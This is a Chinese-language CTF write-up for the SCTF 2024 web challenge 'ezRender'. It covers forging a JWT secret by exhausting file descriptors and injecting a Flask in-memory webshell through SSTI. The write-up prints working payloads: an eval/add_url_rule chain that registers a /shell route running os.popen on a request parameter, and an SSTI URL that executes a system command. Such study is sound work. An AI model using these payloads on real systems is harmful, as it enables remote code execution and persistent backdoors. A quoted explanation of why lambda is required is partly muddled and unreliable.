SCTF 2024 web方向 ezRender wp
1341025112991831 发表于 四川 CTF 393浏览 · 2024-10-01 13:27

SCTF 2024 web方向 ezRender wp

黑盒简单测试

简单说一下,是考的jwt伪造和falsk框架写内存马的题目

题目给了附件,一般喜欢先简单测测功能再去审计代码

经典的登录和注册

随便注册一个用户123,123

登录成功后来到

python写的,大概率ssti

无论输入什么内容都会回显

试试注册admin

但是还是一样的,这时候就可以审计一下代码了

百盒代码审计

这里就审计一下代码了

题目给了四个代码,从文件名大概能明白他们的功能

app.py

from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf

app = Flask(__name__,static_folder="static",template_folder="templates")
user={}

@app.route('/register', methods=["POST","GET"])
def register():
    method=request.method
    if method=="GET":
        return render_template("register.html")
    if method=="POST":
        data = request.get_json()
        name = data["username"]
        pwd = data["password"]
        if name != None and pwd != None:
            if data["username"] in user:
                return "This name had been registered"
            else:
                user[name] = User(name, pwd)
                return "OK"

@app.route('/login', methods=["POST","GET"])
def login():
    method=request.method
    if method=="GET":
        return render_template("login.html")
    if method=="POST":
        data = request.get_json()
        name = data["username"]
        pwd = data["password"]
        if name != None and pwd != None:
            if name not in user:
                return "This account is not exist"
            else:
                if user[name].pwd == pwd:
                    token=generateToken(user[name])
                    return "OK",200,{"Set-Cookie":"Token="+token}
                else:
                    return "Wrong password"

@app.route('/admin', methods=["POST","GET"])
def admin():
    try:
        token = request.headers.get("Cookie")[6:]
    except:
        return "Please login first"
    else:
        infor = json.loads(base64.b64decode(token))
        name = infor["name"]
        token = infor["secret"]
        result = check(user[name], token)

    method=request.method
    if method=="GET":
        return render_template("admin.html",name=name)
    if method=="POST":
        template = request.form.get("code")
        if result != "True":
            return result, 401
        #just only blackList
        if waf(template):
            return "Hacker Found"
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

@app.route('/', methods=["GET"])
def index():
    return redirect("login")

@app.route('/removeUser', methods=["POST"])
def remove():
    try:
        token = request.headers.get("Cookie")[6:]
    except:
        return "Please login first"
    else:
        infor = json.loads(base64.b64decode(token))
        name = infor["name"]
        token = infor["secret"]
        result = check(user[name], token)
    if result != "True":
        return result, 401

    rmuser=request.form.get("username")
    user.pop(rmuser)
    return "Successfully Removed:"+rmuser

if __name__ == '__main__':
    # for the safe
    del __builtins__.__dict__['eval']
    app.run(debug=False, host='0.0.0.0', port=8080)

简单来说就是有注册登录删除用户的功能

然后漏洞很明显就是登录admin之后可以ssti注入

然后是验证代码

import json
import hashlib
import base64
import jwt
from app import *
from User import *
def check(user,crypt):
    verify_c=crypt
    secret_key = user.secret
    try:
        decrypt_infor = jwt.decode(verify_c, secret_key, algorithms=['HS256'])
        if decrypt_infor["is_admin"]=="1":
            return "True"
        else:
            return "You r not admin"
    except:
        return 'Don\'t be a Hacker!!!'

def generateToken(user):
    secret_key=user.secret
    secret={"name":user.name,"is_admin":"0"}

    verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
    infor={"name":user.name,"secret":verify_c}
    token=base64.b64encode(json.dumps(infor).encode()).decode()
    return token

一目了然,就是jwt伪造,获得了key之后伪造is_admin为1

而key的生成是在

Use.py

import time
class User():
    def __init__(self,name,password):
        self.name=name
        self.pwd = password
        self.Registertime=str(time.time())[0:10]
        self.handle=None
        self.secret=self.setSecret()

    def handler(self):
        self.handle = open("/dev/random", "rb")
    def setSecret(self):
        secret = self.Registertime
        try:
            if self.handle == None:
                self.handler()
            secret += str(self.handle.read(22).hex())
        except Exception as e:
            print("this file is not exist or be removed")
        return secret

可以看到key是有两部分组成,一部分是时间搓,这个我们还是很好获得的,但是第二个部分的话随机的密钥就很难获得了

key的获取

这里当时放了hint的,提示就非常明显了

ulimit -n =2048
cat /etc/timezone : UTC

拷打我的gpt小弟

ulimit -n = 2048

  • 这是用于设置和查看当前用户的系统资源限制的命令,其中 -n 选项表示“文件描述符的最大数量”。ulimit -n = 2048 意味着当前用户最多可以打开 2048 个文件描述符(包括文件、套接字等)。
  • 这一设置通常用于防止系统资源被耗尽,特别是当应用程序需要打开大量文件时。

cat /etc/timezone : UTC

  • cat /etc/timezone 用于查看系统的当前时区设置。输出为 UTC,表示系统的当前时区为协调世界时 (UTC, Universal Time Coordinated),而不是像 CST、EST 等具体地区的时区。
  • UTC 是一种标准的时间格式,常用于服务器和全球分布式系统中,以避免时区差异带来的时间计算问题。

一个用户只能打开2048个文件描述符,嘿嘿嘿,如果一个用户存在,那么就相当于一个用户有一个描述符了,我们只需要注册的用户大于2048,那么就打不开/dev/random,剩下的只有时间搓了

抓包去修改

POST /register HTTP/1.1
Host: 1.95.40.5:34953
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://1.95.40.5:34953
Referer: http://1.95.40.5:34953/register
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Token=eyJuYW1lIjogIjEyMyIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaU1USXpJaXdpYVhOZllXUnRhVzRpT2lJd0luMC55OUVRb0ZjRTE5Q19HQUhLamlZQTFhbTc3R2RCNkFDbmJ3dUFDVVlyTnNnIn0=
Connection: keep-alive

{"username":"admin§1§","password":"123"}

然后去爆破

时间搓在响应里面有

HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.9.17
Date: Tue, 01 Oct 2024 09:28:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2
Connection: close

OK

gpt搞个脚本转换一下

import time
from datetime import datetime
time_string = "Tue, 01 Oct 2024 09:28:27 GMT"
timestamp = int(time.mktime(time.strptime(time_string, "%a, %d %b %Y %H:%M:%S %Z")))
print(timestamp)
 //可能有延迟,扩大范围爆一下也可以

获取到key之后我们就可以去伪造jwt了

注意这时候伪造好了jwt后需要我们去删除一些用户了,因为现在不允许我们打开任何页面了,会卡死

bp抓包批量删除用户,就是和注册一样差不多的操作

python内存马注入

这里简单学习一下python内存马

简单搭建一个环境

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def hello_world():  # put application's code here
    person = 'knave'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)


if __name__ == '__main__':
    app.run()

执行后访问我们的shell路由,然后就可以执行命令

比如cmd=dir

常见的paylaod如下

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
        )
    ",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)

1

url_for.__globals__['__builtins__']['eval']

这个就是去获取我们的恶意模块eval

比如我们现在就可以执行命令了

http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').system('calc')")}}

但是我们研究python内存马,就需要找无文件落地的方法

在python中,我们就要注册一个恶意的路由,并且可以执行恶意方法

这就涉及到我们payload一个关键的点了app.add_url_rule函数

在Flask中注册路由的时候是添加的@app.route装饰器来实现的。

我们看看代码,它内部调用

def decorator(f: T_route) -> T_route:
            endpoint = options.pop("endpoint", None)
            self.add_url_rule(rule, endpoint, f, **options)
            return f

add_url_rule函数,说明创建路由的时候,会使用add_url_rule来进行一个创建

def add_url_rule(
        self,
        rule: str,
        endpoint: str | None = None,
        view_func: ft.RouteCallable | None = None,
        provide_automatic_options: bool | None = None,
        **options: t.Any,
    )

可以看到它接受的参数

  • rule:函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以/开头;
  • endpoint:这是URL规则的端点名。默认情况下,Flask会使用视图函数的名字作为端点名。在路由到视图函数的过程中,Flask会使用这个端点名。
  • view_func:这是一个函数,当请求匹配到对应的URL规则时,Flask会调用这个函数,并将结果返回给客户端。
from flask import Flask

app = Flask(__name__)

def hello():
    return "Hello, World!"

app.add_url_rule('/', 'hello', hello)

if __name__ == '__main__':
    app.run()

在这个例子中,我们使用add_url_rule函数将URL规则 '/'hello函数绑定。当访问 '/' 时,Flask会调用hello函数,并将返回的字符串 "Hello, World!" 发送给客户端。

所以给了我们机会,如果我们能够调用这个函数,而且参数都可以控制,我们访问一个路由就可以执行我们的恶意代码

在我们的paylaod之中

lambda即匿名函数, Payloadadd_url_rule函数的第三个参数定义了一个lambda匿名函数, 其中通过os库的popen函数执行从Web请求中获取的cmd参数值并返回结果, 其中该参数值默认为whoami.

'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}这一截Payload. _request_ctx_stackFlask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即下文中提到的Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app.

后面指明了所需变量的全局命名空间, 保证app_request_ctx_stack都可以被找到.

还有为什么我们的函数名必须为匿名函数呢?
如果我们随便取一个名字都不能注入成功

在Python中,lambda函数也被称为匿名函数。与def定义的正式函数不同,它不需要函数名。当我们在代码中使用lambda创建一个函数时,这个函数就被纳入了当前的命名空间。
在你的例子中,'lambda' 函数被作为参数动态地添加到before_request_funcs列表中。由于它是一个新创建的匿名函数,它不会与当前命名空间中的任何已存在的函数名冲突,所以可以成功注入。
而如果尝试替换lambda为已存在的函数名,注入会失败。这是因为在Python中,函数名也是一个标识符,每个标识符在其所在的命名空间中都有唯一的含义。重复的函数名将导致冲突,函数名已经被绑定到另一个函数对象上,所以不能成功注入。
其次,def创建的函数是在解析时立即执行的,这导致在此类注入攻击场景下使用已存在的函数名,会在解析阶段就执行,而非等待触发该请求处理函数时执行,这会导致执行时刻不符合预期,有可能因此无法成功注入。
故在这种情况下,选择使用lambda函数(匿名函数)可以避免这些问题,使注入攻击得以成功执行。一般来说,我们应确保对用户输入进行严格的过滤和处理,可以避免此类注入攻击。

其实还有更见简单的方法,我们只需要获取request就好了,paylaod后面可以简写为

popen(request.args.get('cmd')).read())

回到题目

然后就是去ssti注入了,ssti的话fengjin现在几乎都是可以梭哈的了

随便测试一下题目没有回显

把fengjing的payload改成打内存马

0 条评论
某人
表情
可输入 255